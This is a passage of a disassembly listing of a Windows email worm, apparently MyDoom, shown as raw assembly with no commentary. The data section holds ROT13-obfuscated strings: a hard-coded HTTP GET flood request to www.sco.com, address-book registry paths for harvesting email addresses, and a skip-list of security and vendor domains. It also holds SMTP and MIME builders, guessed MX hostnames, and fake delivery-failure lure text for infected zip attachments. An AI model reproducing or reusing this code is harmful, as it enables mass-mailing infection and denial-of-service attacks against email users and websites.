  847. aHelp        db 'help',0             ; DATA XREF: .text:004A12D0o
  848.         align 4
  849. aService    db 'service',0          ; DATA XREF: .text:004A12CCo
  850. aPrivacy    db 'privacy',0          ; DATA XREF: .text:004A12C8o
  851. aSomebody    db 'somebody',0         ; DATA XREF: .text:004A12C4o
  852.         align 4
  853. aNo        db 'no',0               ; DATA XREF: .text:004A12C0o
  854.         align 4
  855. aSoft        db 'soft',0             ; DATA XREF: .text:004A12BCo
  856.         align 4
  857. aContact    db 'contact',0          ; DATA XREF: .text:004A12B8o
  858. aSite        db 'site',0             ; DATA XREF: .text:004A12B4o
  859.         align 4
  860. aRating        db 'rating',0           ; DATA XREF: .text:004A12B0o
  861.         align 4
  862. aBugs        db 'bugs',0             ; DATA XREF: .text:004A12ACo
  863.         align 4
  864. aMe        db 'me',0               ; DATA XREF: .text:004A12A8o
  865.         align 4
  866. aYou        db 'you',0              ; DATA XREF: .text:004A12A4o
  867. aYour        db 'your',0             ; DATA XREF: .text:004A12A0o
  868.         align 4
  869. aSomeone    db 'someone',0          ; DATA XREF: .text:004A129Co
  870. aAnyone        db 'anyone',0           ; DATA XREF: .text:004A1298o
  871.         align 4
  872. aNothing    db 'nothing',0          ; DATA XREF: .text:004A1294o
  873. aNobody        db 'nobody',0           ; DATA XREF: .text:004A1290o
  874.         align 4
  875. aNoone        db 'noone',0            ; DATA XREF: .text:004A128Co
  876.         align 4
  877. aWebmaster    db 'webmaster',0        ; DATA XREF: .text:004A1288o
  878.         align 4
  879. aPostmaster    db 'postmaster',0       ; DATA XREF: .text:004A1284o
  880.         align 4
  881. aSamples    db 'samples',0          ; DATA XREF: .text:004A1280o
  882. aInfo        db 'info',0             ; DATA XREF: .text:004A127Co
  883.         align 4
  884. aRoot        db 'root',0
  885.         align 4
  886. aBe_loyal    db 0Ah            ; DATA XREF: .text:004A1270o
  887.         db 0Ah
  888.         db 'be_loyal:',0
  889. aMozilla    db 'mozilla',0          ; DATA XREF: .text:004A1268o
  890. aUtgers_ed    db 'utgers.ed',0        ; DATA XREF: .text:004A1264o
  891.         align 4
  892. aTanford_e    db 'tanford.e',0        ; DATA XREF: .text:004A1260o
  893.         align 4
  894. aPgp        db 'pgp',0              ; DATA XREF: .text:004A125Co
  895. aAcketst    db 'acketst',0          ; DATA XREF: .text:004A1258o
  896. aSecur        db 'secur',0            ; DATA XREF: .text:004A1254o
  897.                     ; sub_4A55D4+E0o
  898.         align 4
  899. aIsc_o        db 'isc.o',0            ; DATA XREF: .text:004A1250o
  900.         align 4
  901. aIsi_e        db 'isi.e',0            ; DATA XREF: .text:004A124Co
  902.         align 4
  903. aRipe_        db 'ripe.',0            ; DATA XREF: .text:004A1248o
  904.         align 4
  905. aArin_        db 'arin.',0            ; DATA XREF: .text:004A1244o
  906.         align 4
  907. aSendmail    db 'sendmail',0         ; DATA XREF: .text:004A1240o
  908.         align 4
  909. aRfcEd        db 'rfc-ed',0           ; DATA XREF: .text:004A123Co
  910.         align 4
  911. aIetf        db 'ietf',0             ; DATA XREF: .text:004A1238o
  912.         align 4
  913. aIana        db 'iana',0             ; DATA XREF: .text:004A1234o
  914.         align 4
  915. aUsenet        db 'usenet',0           ; DATA XREF: .text:004A1230o
  916.         align 4
  917. aFido        db 'fido',0             ; DATA XREF: .text:004A122Co
  918.         align 4
  919. aLinux        db 'linux',0            ; DATA XREF: .text:004A1228o
  920.                     ; .text:004A130Co
  921.         align 4
  922. aKernel        db 'kernel',0           ; DATA XREF: .text:004A1224o
  923.         align 4
  924. aGoogle        db 'google',0           ; DATA XREF: .text:004A1220o
  925.                     ; .text:004A1318o
  926.         align 4
  927. aIbm_com    db 'ibm.com',0          ; DATA XREF: .text:004A121Co
  928. aFsf_        db 'fsf.',0             ; DATA XREF: .text:004A1218o
  929.         align 4
  930. aGnu        db 'gnu',0              ; DATA XREF: .text:004A1214o
  931. aMit_e        db 'mit.e',0            ; DATA XREF: .text:004A1210o
  932.         align 4
  933. aBsd        db 'bsd',0              ; DATA XREF: .text:004A120Co
  934.                     ; .text:004A1308o
  935. aMath        db 'math',0             ; DATA XREF: .text:004A1208o
  936.         align 4
  937. aUnix        db 'unix',0             ; DATA XREF: .text:004A1204o
  938.                     ; .text:004A1304o
  939.         align 4
  940. aBerkeley    db 'berkeley',0
  941.         align 4
  942. asc_4A2A44    db 0Ah            ; DATA XREF: .text:004A11F8o
  943.         db 0Ah
  944.         db 0Ah,0
  945. aFoo_        db 'foo.',0             ; DATA XREF: .text:004A11F0o
  946.         align 4
  947. a_mil        db '.mil',0             ; DATA XREF: .text:004A11ECo
  948.         align 4
  949. aGov_        db 'gov.',0             ; DATA XREF: .text:004A11E8o
  950.         align 4
  951. a_gov        db '.gov',0             ; DATA XREF: .text:004A11E4o
  952.         align 4
  953. aRuslis        db 'ruslis',0           ; DATA XREF: .text:004A11E0o
  954.         align 4
  955. aNodomai    db 'nodomai',0          ; DATA XREF: .text:004A11DCo
  956. aMydomai    db 'mydomai',0          ; DATA XREF: .text:004A11D8o
  957. aExample    db 'example',0          ; DATA XREF: .text:004A11D4o
  958. aInpris        db 'inpris',0           ; DATA XREF: .text:004A11D0o
  959.         align 4
  960. aBorlan        db 'borlan',0           ; DATA XREF: .text:004A11CCo
  961.         align 4
  962. aSopho        db 'sopho',0            ; DATA XREF: .text:004A11C8o
  963.         align 4
  964. aPanda        db 'panda',0            ; DATA XREF: .text:004A11C4o
  965.         align 4
  966. aHotmail    db 'hotmail',0          ; DATA XREF: .text:004A11C0o
  967. aMsn_        db 'msn.',0             ; DATA XREF: .text:004A11BCo
  968.         align 4
  969. aIcrosof    db 'icrosof',0          ; DATA XREF: .text:004A11B8o
  970. aSyma        db 'syma',0             ; DATA XREF: .text:004A11B4o
  971.         align 4
  972. aAvp        db 'avp',0
  973. a__        db '-._!',0             ; DATA XREF: sub_4A5108+64o
  974.                     ; sub_4A5108+FBo ...
  975.         align 4
  976. a__@        db '-._!@',0            ; DATA XREF: sub_4A5108+4Ao
  977.                     ; sub_4A5108+9Bo ...
  978.         align 4
  979. aAbuse        db 'abuse',0            ; DATA XREF: sub_4A55D4+FAo
  980.         align 4
  981. aWww        db 'www',0              ; DATA XREF: sub_4A55D4+C6o
  982. aFcnz        db 'fcnz',0             ; DATA XREF: sub_4A55D4+98o
  983.         align 4
  984. aSpm        db 'spm',0              ; DATA XREF: sub_4A55D4+7Fo
  985. a_edu        db '.edu',0             ; DATA XREF: sub_4A5788+BAo
  986.         align 4
  987. a@:                    ; DATA XREF: sub_4A586A+A2o
  988.         unicode    0, <@>,0
  989. byte_4A2B00    db 20h            ; DATA XREF: sub_4A5CE7+15r
  990.         db '                               ',0
  991.         dd 0Eh dup(0), 280000h,    29h, 27h dup(0), 2200000h, 0BC000000h
  992.         db 2Dh,    4Ah, 0
  993.         dd 1, 4A2DB8h, 2, 4A2DB4h, 1, 4A2AFCh, 2, 4A2DB0h, 1, 4A2AFCh
  994.                     ; DATA XREF: sub_4A5CE7+38o
  995.         dd 2, 4A2DACh, 1, 4A2AFCh, 3, 4A2DA8h, 1, 4A2AFCh, 4, 4A2DA0h
  996.         dd 1, 4A2AFCh, 6, 4A2D98h, 1, 4A2DB8h, 5, 4A2D90h, 1, 4A2DB8h
  997.         dd 4 dup(0)
  998. byte_4A2C90    db 0            ; DATA XREF: sub_4A5DD4+39r
  999.                     ; sub_4A5DD4+52r ...
  1000.         dd 8 dup(0), 2,    2 dup(0), 1000202h, 2 dup(1010101h), 1
  1001.         dd 2000000h, 6 dup(1010101h), 101h, 20000h, 6 dup(1010101h)
  1002.         dd 101h, 20h dup(0), 26000000h,    7073626Eh, 26000000h, 7073626Eh
  1003.         dd 2800003Bh, 297461h, 28000000h, 40002940h, 20000040h
  1004.         dd 40000040h
  1005.         db 20h,    2 dup(0)
  1006. dword_4A2DB8    dd 20h,    2020h        ; DATA XREF: sub_4A6FCD+1FBo
  1007. aFbsgjnerZvpe_1    db 'Fbsgjner\Zvpebfbsg\JNO\JNO4\Jno Svyr Anzr',0 ; DATA XREF: sub_4A60A5+Do
  1008.         align 4
  1009. aWab        db 'wab',0              ; DATA XREF: sub_4A6147+164o
  1010. aPl        db 'pl',0               ; DATA XREF: sub_4A6147+154o
  1011.         align 4
  1012. aAdbh        db 'adbh',0             ; DATA XREF: sub_4A6147+13Fo
  1013.         align 4
  1014. aTbbg        db 'tbbg',0             ; DATA XREF: sub_4A6147+120o
  1015.         align 4
  1016. aDbxn        db 'dbxn',0             ; DATA XREF: sub_4A6147+10Ao
  1017.         align 4
  1018. aAspd        db 'aspd',0             ; DATA XREF: sub_4A6147+F4o
  1019.         align 4
  1020. aPhpq        db 'phpq',0             ; DATA XREF: sub_4A6147+DAo
  1021.         align 4
  1022. aShtl        db 'shtl',0             ; DATA XREF: sub_4A6147+C0o
  1023.         align 4
  1024. aHtmb        db 'htmb',0             ; DATA XREF: sub_4A6147+A6o
  1025.         align 4
  1026. aTxt        db 'txt',0              ; DATA XREF: sub_4A6147+80o
  1027.                     ; sub_4A6FCD+1D9o
  1028. a_        db '*.*',0              ; DATA XREF: sub_4A630C+7Bo
  1029. aUserprofile    db 'USERPROFILE',0      ; DATA XREF: sub_4A64A8+6Ao
  1030. aYbpnyFrggvatf    db 'Ybpny Frggvatf',0   ; DATA XREF: sub_4A64A8+20o
  1031.         align 4
  1032. aGrzcbenelVagre    db 'Grzcbenel Vagrearg Svyrf',0 ; DATA XREF: sub_4A64A8+12o
  1033.         align 4
  1034. asc_4A2E6C    db ':\',0               ; DATA XREF: sub_4A6599+3Co
  1035.         align 4
  1036. dword_4A2E70    dd 0            ; DATA XREF: sub_4A6670+41r
  1037.                     ; sub_4A6670+54r ...
  1038.         dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
  1039.         dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,    0E0D5E91Eh
  1040.         dd 97D2D988h, 9B64C2Bh,    7EB17CBDh, 0E7B82D07h, 90BF1D91h
  1041.         dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,    1ADAD47Dh
  1042.         dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,    646BA8C0h
  1043.         dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,    0FA0F3D63h
  1044.         dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,    0A2677172h
  1045.         dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
  1046.         dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
  1047.         dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
  1048.         dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
  1049.         dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
  1050.         dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
  1051.         dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
  1052.         dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,    0E10E9818h
  1053.         dd 7F6A0DBBh, 86D3D2Dh,    91646C97h, 0E6635C01h, 6B6B51F4h
  1054.         dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,    1B01A57Bh
  1055.         dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,    8BBEB8EAh
  1056.         dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,    0FBD44C65h
  1057.         dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
  1058.         dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
  1059.         dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
  1060.         dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
  1061.         dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
  1062.         dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
  1063.         dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
  1064.         dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
  1065.         dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,    0E40ECF0Bh
  1066.         dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,    8708A3D2h
  1067.         dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,    196C3671h
  1068.         dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,    67DD4ACCh
  1069.         dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,    0D6D6A3E8h
  1070.         dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
  1071.         dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
  1072.         dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
  1073.         dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
  1074.         dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
  1075.         dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
  1076.         dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,    26D930Ah
  1077.         dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
  1078.         dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,    0E5D5BE0Dh
  1079.         dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,    68DDB3F8h
  1080.         dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,    18B74777h
  1081.         dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,    8F659EFFh
  1082.         dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
  1083.         dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
  1084.         dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
  1085.         dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
  1086.         dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
  1087.         dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
  1088.         dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
  1089. aTrgUggc1_1Ubfg    db 'TRG / UGGC/1.1',0Dh,0Ah ; DATA XREF: sub_4A6BB4+11o
  1090.         db 'Ubfg: jjj.fpb.pbz',0Dh,0Ah
  1091.         db 0Dh,0Ah,0
  1092.         align 4
  1093. aJjj_fpb_pbz    db 'jjj.fpb.pbz',0      ; DATA XREF: sub_4A6C3B+12o
  1094.         align 8
  1095. byte_4A32A8    db 1Eh            ; DATA XREF: sub_4A6D9F+5Eo
  1096.                     ; sub_4A6D9F+98r
  1097.         align 4
  1098. dword_4A32AC    dd 4A3428h        ; DATA XREF: sub_4A6D9F+A4r
  1099. byte_4A32B0    db 0Fh            ; DATA XREF: sub_4A6D9F+8Cr
  1100.         align 4
  1101.         dd offset aErnqzr    ; "ernqzr"
  1102.         dd 0Fh,    4A341Ch, 0Fh, 4A3414h, 0Ah, 4A340Ch, 0Ah, 4A3404h
  1103.         dd 5, 4A33FCh, 11h, 4A33F4h, 11h, 4A33ECh, 0, 4A33E8h
  1104. byte_4A32F8    db 32h            ; DATA XREF: sub_4A6D9F+BEo
  1105.                     ; sub_4A6D9F+F8r
  1106.         align 4
  1107. dword_4A32FC    dd 4A33E4h        ; DATA XREF: sub_4A6D9F+104r
  1108. byte_4A3300    db 32h            ; DATA XREF: sub_4A6D9F+ECr
  1109.         align 4
  1110.         dd offset dword_4A33E0
  1111.         dd 0Fh,    4A33DCh, 5, 4A33D8h, 5,    4A33D4h, 0, 4A33E8h
  1112. byte_4A3328    db 0Ch            ; DATA XREF: sub_4A6ED6+5Eo
  1113.                     ; sub_4A6ED6+98r
  1114.         align 4
  1115. dword_4A332C    dd 4A33E8h        ; DATA XREF: sub_4A6ED6+A4r
  1116. byte_4A3330    db 23h            ; DATA XREF: sub_4A6ED6+8Cr
  1117.         dd 0FC000000h, 23004A33h, 0D0000000h, 23004A33h, 0C8000000h
  1118.         dd 8004A33h, 0B0000000h, 8004A33h, 98000000h, 8004A33h
  1119.         dd 88000000h, 0A004A33h, 80000000h, 0A004A33h, 78000000h
  1120.         dd 4A33h, 0E8000000h, 52004A33h, 65626565h, 46000000h
  1121.         dd 68676E67h, 46000066h, 72696572h, 72452065h, 67656263h
  1122.         dd 5A000000h, 2079766Eh, 616E6547h, 67706E66h, 20616276h
  1123.         dd 79766E53h, 5A007172h, 2079766Eh, 76797251h, 6C657269h
  1124.         dd 666C4620h, 7A7267h, 75000000h, 62797972h, 75000000h
  1125.         dd 6F000076h, 7000676Eh, 7200717Ah
  1126.         db 6Bh,    72h, 0
  1127. dword_4A33E0    dd 657066h, 737663h    ; DATA XREF: .text:004A3304o
  1128. dword_4A33E8    dd 0, 6C71626Fh, 0, 6666727Ah, 72746Eh,    67667267h, 0, 6E676E71h
  1129.                     ; DATA XREF: sub_4A7255+Fo
  1130.         dd 0, 72797673h, 0, 676B7267h, 0, 706271h
  1131. aErnqzr        db 'ernqzr',0           ; DATA XREF: .text:004A32B4o
  1132.         align 4
  1133. aQbphzrag    db 'qbphzrag',0
  1134.         align 4
  1135. aUbgznvy_pbz    db 'ubgznvy.pbz',0      ; DATA XREF: .text:004A13F8o
  1136. aLnubb_pbz    db 'lnubb.pbz',0        ; DATA XREF: .text:004A13F4o
  1137.         align 4
  1138. aZfa_pbz    db 'zfa.pbz',0          ; DATA XREF: .text:004A13F0o
  1139. aNby_pbz    db 'nby.pbz',0
  1140. aS_S        db '%s.%s',0            ; DATA XREF: sub_4A6D9F+125o
  1141.         align 4
  1142. aXe        db 'xe',0               ; DATA XREF: sub_4A6FCD+257o
  1143.         align 4
  1144. aCr        db 'cr',0               ; DATA XREF: sub_4A6FCD+248o
  1145.         align 4
  1146. aS_0:                    ; DATA XREF: sub_4A6FCD+240o
  1147.         unicode    0, <s>,0
  1148. aIf        db 'if',0               ; DATA XREF: sub_4A6FCD+239o
  1149.         align 4
  1150. aP:                    ; DATA XREF: sub_4A6FCD+231o
  1151.         unicode    0, <p>,0
  1152. aDoc        db 'doc',0              ; DATA XREF: sub_4A6FCD+1E0o
  1153. aHtm        db 'htm',0              ; DATA XREF: sub_4A6FCD+1D2o
  1154. aS_zip        db '%s.zip',0           ; DATA XREF: sub_4A6FCD+11Bo
  1155.         align 4
  1156. ; const    CHAR PrefixString
  1157. PrefixString    db 't'                  ; DATA XREF: sub_4A6FCD+9Bo
  1158.         db 6Dh,    70h, 0
  1159. aMailTransactio    db 'Mail transaction failed. Partial message is available.',0
  1160.                     ; DATA XREF: sub_4A7255+42o
  1161.         align 8
  1162. aTheMessageCont    db 'The message contains Unicode characters and has been sent as'
  1163.                     ; DATA XREF: sub_4A7255+38o
  1164.         db ' a binary attachment.',0
  1165.         align 8
  1166. aTheMessageCann    db 'The message cannot be represented in 7-bit ASCII encoding an'
  1167.                     ; DATA XREF: sub_4A7255+2Eo
  1168.         db 'd has been sent as a binary attachment.',0
  1169. aTest        db 'test',0             ; DATA XREF: sub_4A7255+24o
  1170.         align 8
  1171. aAbcdefghijkl_1    db 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234567'
  1172.                     ; DATA XREF: sub_4A7366+Ao
  1173.         db '89+/',0
  1174.         align 4
  1175. asc_4A35D4    db 0Dh,0Ah        ; DATA XREF: sub_4A74DD+112o
  1176.         db 0Dh,0Ah,0
  1177.         align 4
  1178. aKZfznvyCevbevg    db 0Dh,0Ah        ; DATA XREF: sub_4A74DD+100o
  1179.         db 'K-ZFZnvy-Cevbevgl: Abezny',0
  1180. aKCevbevgl3    db 0Dh,0Ah        ; DATA XREF: sub_4A74DD+EEo
  1181.         db 'K-Cevbevgl: 3',0
  1182. aBoundaryS    db 9,'boundary="%s"',0  ; DATA XREF: sub_4A74DD+E0o
  1183.         align 4
  1184. aPbagragGlcrZhy    db 0Dh,0Ah        ; DATA XREF: sub_4A74DD+CCo
  1185.         db 'Pbagrag-Glcr: zhygvcneg/zvkrq;',0Dh,0Ah,0
  1186.         align 4
  1187. aZvzrIrefvba1_0    db 0Dh,0Ah        ; DATA XREF: sub_4A74DD+BAo
  1188.         db 'ZVZR-Irefvba: 1.0',0
  1189. aQngr        db 0Dh,0Ah        ; DATA XREF: sub_4A74DD+99o
  1190.         db 'Qngr: ',0
  1191.         align 4
  1192. aFhowrpg    db 0Dh,0Ah        ; DATA XREF: sub_4A74DD+7Do
  1193.         db 'Fhowrpg: ',0
  1194. aGb        db 0Dh,0Ah        ; DATA XREF: sub_4A74DD+66o
  1195.         db 'Gb: ',0
  1196.         align 4
  1197. aSebz        db 'Sebz: ',0           ; DATA XREF: sub_4A74DD+45o
  1198.         align 4
  1199. a_S__3u__4u__8x    db '----=_%s_%.3u_%.4u_%.8X.%.8X',0 ; DATA XREF: sub_4A74DD+39o
  1200.         align 4
  1201. aNextpart    db 'NextPart',0         ; DATA XREF: sub_4A74DD+34o
  1202.         align 4
  1203. aS        db 0Dh,0Ah        ; DATA XREF: sub_4A75FD+C0o
  1204.         db 0Dh,0Ah
  1205.         db '--%s--',0Dh,0Ah
  1206.         db 0Dh,0Ah,0
  1207.         align 8
  1208. aFPbagragGlcrNc    db '--%f',0Dh,0Ah       ; DATA XREF: sub_4A75FD+76o
  1209.         db 'Pbagrag-Glcr: nccyvpngvba/bpgrg-fgernz;',0Dh,0Ah
  1210.         db 9,'anzr="%f"',0Dh,0Ah
  1211.         db 'Pbagrag-Genafsre-Rapbqvat: onfr64',0Dh,0Ah
  1212.         db 'Pbagrag-Qvfcbfvgvba: nggnpuzrag;',0Dh,0Ah
  1213.         db 9,'svyranzr="%f"',0Dh,0Ah
  1214.         db 0Dh,0Ah,0
  1215.         align 4
  1216. asc_4A374C    db 0Dh,0Ah        ; DATA XREF: sub_4A75FD+62o
  1217.         db 0Dh,0Ah
  1218.         db 0Dh,0Ah,0
  1219.         align 8
  1220. aFPbagragGlcrGr    db '--%f',0Dh,0Ah       ; DATA XREF: sub_4A75FD+31o
  1221.         db 'Pbagrag-Glcr: grkg/cynva;',0Dh,0Ah
  1222.         db 9,'punefrg="Jvaqbjf-1252"',0Dh,0Ah
  1223.         db 'Pbagrag-Genafsre-Rapbqvat: 7ovg',0Dh,0Ah
  1224.         db 0Dh,0Ah,0
  1225.         align 4
  1226. aGuvfVfNZhygvCn    db 'Guvf vf n zhygv-cneg zrffntr va ZVZR sbezng.',0Dh,0Ah
  1227.                     ; DATA XREF: sub_4A75FD+1Bo
  1228.         db 0Dh,0Ah,0
  1229.         align 4
  1230. aQuit        db 'QUIT',0Dh,0Ah,0     ; DATA XREF: sub_4A7B47+286o
  1231.         align 4
  1232. a__0        db 0Dh,0Ah        ; DATA XREF: sub_4A7B47+25Fo
  1233.         db '.',0Dh,0Ah,0
  1234.         align 4
  1235. aData        db 'DATA',0Dh,0Ah,0     ; DATA XREF: sub_4A7B47+1D9o
  1236.         align 4
  1237. aEpcgGbF    db 'EPCG GB:<%f>',0Dh,0Ah,0 ; DATA XREF: sub_4A7B47+1A3o
  1238.         align 4
  1239. aZnvySebzF    db 'ZNVY SEBZ:<%f>',0Dh,0Ah,0 ; DATA XREF: sub_4A7B47+167o
  1240.         align 4
  1241. aUrybF        db 'URYB %f',0Dh,0Ah,0  ; DATA XREF: sub_4A7B47+12Bo
  1242.         align 4
  1243. aRuybF        db 'RUYB %f',0Dh,0Ah,0  ; DATA XREF: sub_4A7B47+F2o
  1244.         align 4
  1245. aTo        db 'To',0               ; DATA XREF: sub_4A7B47+36o
  1246.                     ; sub_4A7F4C+1Co
  1247.         align 4
  1248. aFrom        db 'From',0             ; DATA XREF: sub_4A7B47+1Ao
  1249.         align 4
  1250. aFzgcFreire    db 'FZGC Freire',0      ; DATA XREF: sub_4A7DFD+21o
  1251. aFbsgjnerZvpe_2    db 'Fbsgjner\Zvpebfbsg\Vagrearg Nppbhag Znantre\Nppbhagf',0
  1252.                     ; DATA XREF: sub_4A7DFD+10o
  1253.         align 4
  1254. aGate_S        db 'gate.%s',0          ; DATA XREF: sub_4A7F4C+154o
  1255. aNs_S        db 'ns.%s',0            ; DATA XREF: sub_4A7F4C+146o
  1256.         align 4
  1257. aRelay_S    db 'relay.%s',0         ; DATA XREF: sub_4A7F4C+138o
  1258.         align 4
  1259. aMail1_S    db 'mail1.%s',0         ; DATA XREF: sub_4A7F4C+12Ao
  1260.         align 4
  1261. aMxs_S        db 'mxs.%s',0           ; DATA XREF: sub_4A7F4C+11Co
  1262.         align 4
  1263. aMx1_S        db 'mx1.%s',0           ; DATA XREF: sub_4A7F4C+10Eo
  1264.         align 4
  1265. aSmtp_S        db 'smtp.%s',0          ; DATA XREF: sub_4A7F4C+100o
  1266. aMail_S        db 'mail.%s',0          ; DATA XREF: sub_4A7F4C+F2o
  1267. aMx_S        db 'mx.%s',0            ; DATA XREF: sub_4A7F4C+E4o
  1268.         align 4
  1269.  
  1270. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  1271.  
  1272. ; Attributes: bp-based frame
  1273.  
  1274. ; int __cdecl sub_4A38E0(int,int,HANDLE    hFile)
  1275. sub_4A38E0    proc near        ; CODE XREF: sub_4A3962+E9p
  1276.  
  1277. var_40A        = byte ptr -40Ah
  1278. Buffer        = byte ptr -408h
  1279. NumberOfBytesWritten= dword ptr    -8
  1280. var_1        = byte ptr -1
  1281. arg_0        = dword    ptr  8
  1282. arg_4        = dword    ptr  0Ch
  1283. hFile        = dword    ptr  10h
  1284.  
  1285.         push    ebp
  1286.         mov    ebp, esp
  1287.         sub    esp, 408h
  1288.         push    esi
  1289.         xor    ecx, ecx
  1290.         xor    esi, esi
  1291.         cmp    [ebp+arg_4], ecx
  1292.         mov    [ebp+var_1], 0C7h
  1293.         jle    short loc_4A395F
  1294.         push    edi
  1295.         mov    edi, ds:WriteFile
  1296.         push    ebx
  1297.  
  1298. loc_4A38FF:                ; CODE XREF: sub_4A38E0+64j
  1299.         cmp    ecx, 400h
  1300.         jb    short loc_4A391C
  1301.         lea    eax, [ebp+NumberOfBytesWritten]
  1302.         push    0        ; lpOverlapped
  1303.         push    eax        ; lpNumberOfBytesWritten
  1304.         lea    eax, [ebp+Buffer]
  1305.         push    ecx        ; nNumberOfBytesToWrite
  1306.         push    eax        ; lpBuffer
  1307.         push    [ebp+hFile]    ; hFile
  1308.         call    edi ; WriteFile
  1309.         xor    ecx, ecx
  1310.  
  1311. loc_4A391C:                ; CODE XREF: sub_4A38E0+25j
  1312.         mov    eax, [ebp+arg_0]
  1313.         mov    ebx, 85h
  1314.         mov    al, [esi+eax]
  1315.         xor    al, [ebp+var_1]
  1316.         inc    ecx
  1317.         mov    [ebp+ecx-409h],    al
  1318.         mov    eax, esi
  1319.         cdq
  1320.         idiv    ebx
  1321.         mov    al, dl
  1322.         mov    dl, 3
  1323.         imul    dl
  1324.         add    [ebp+var_1], al
  1325.         inc    esi
  1326.         cmp    esi, [ebp+arg_4]
  1327.         jl    short loc_4A38FF
  1328.         test    ecx, ecx
  1329.         pop    ebx
  1330.         jz    short loc_4A395E
  1331.         lea    eax, [ebp+NumberOfBytesWritten]
  1332.         push    0        ; lpOverlapped
  1333.         push    eax        ; lpNumberOfBytesWritten
  1334.         lea    eax, [ebp+Buffer]
  1335.         push    ecx        ; nNumberOfBytesToWrite
  1336.         push    eax        ; lpBuffer
  1337.         push    [ebp+hFile]    ; hFile
  1338.         call    edi ; WriteFile
  1339.  
  1340. loc_4A395E:                ; CODE XREF: sub_4A38E0+69j
  1341.         pop    edi
  1342.  
  1343. loc_4A395F:                ; CODE XREF: sub_4A38E0+15j
  1344.         pop    esi
  1345.         leave
  1346.         retn
  1347. sub_4A38E0    endp
  1348.  
  1349.  
  1350. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  1351.  
  1352. ; Attributes: bp-based frame
  1353.  
  1354. sub_4A3962    proc near        ; CODE XREF: main+45p
  1355.  
  1356. FileName    = byte ptr -12Ch
  1357. String2        = byte ptr -14h
  1358. arg_0        = dword    ptr  8
  1359.  
  1360.         push    ebp
  1361.         mov    ebp, esp
  1362.         sub    esp, 12Ch
  1363.         push    ebx
  1364.         push    esi
  1365.         push    edi
  1366.         lea    eax, [ebp+String2]
  1367.         push    offset dword_4A244C
  1368.         push    eax
  1369.         call    sub_4A465E
  1370.         mov    esi, [ebp+arg_0]
  1371.         mov    ebx, ds:lstrcatA
  1372.         pop    ecx
  1373.         xor    edi, edi
  1374.         pop    ecx
  1375.         mov    [esi+10Ch], edi
  1376.         mov    [ebp+arg_0], edi
  1377.  
